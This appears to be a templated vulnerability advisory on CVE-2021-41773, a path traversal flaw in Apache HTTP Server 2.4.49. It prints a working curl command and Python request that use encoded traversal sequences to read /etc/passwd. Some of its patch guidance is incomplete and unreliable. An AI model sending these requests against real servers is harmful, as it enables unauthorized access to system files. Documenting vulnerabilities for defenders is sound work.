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How the CVE Works:
CVE-2021-41773 is a path traversal vulnerability in Apache HTTP Server 2.4.49. The flaw arises due to improper validation of user-supplied input in the URL path normalization process. Attackers can exploit this by crafting malicious requests containing directory traversal sequences (e.g., /../). If the server’s `require all denied` directive is misconfigured, this allows unauthorized access to files outside the document root. The vulnerability stems from incomplete fixes in the path normalization logic, enabling attackers to bypass security restrictions and retrieve sensitive system files.
DailyCVE Form:
Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal
Severity: Critical
Date: 2021-10-05
Prediction: Patch by 2021-10-15
What Undercode Say:
curl -v "http://target/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
import requests
r = requests.get("http://target/icons/.%%32%65/.%%32%65/etc/passwd")
print(r.text)
How Exploit:
- Craft HTTP requests with encoded traversal sequences.
- Bypass directory restrictions via malformed URLs.
- Exfiltrate sensitive files (e.g.,
/etc/passwd).
Protection from this CVE:
- Upgrade to Apache 2.4.50.
- Apply strict `require all denied` rules.
- Disable CGI if unused.
Impact:
- Unauthorized file access.
- Potential RCE in misconfigured setups.
- System compromise.
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Sources:
Reported By: www.cve.org
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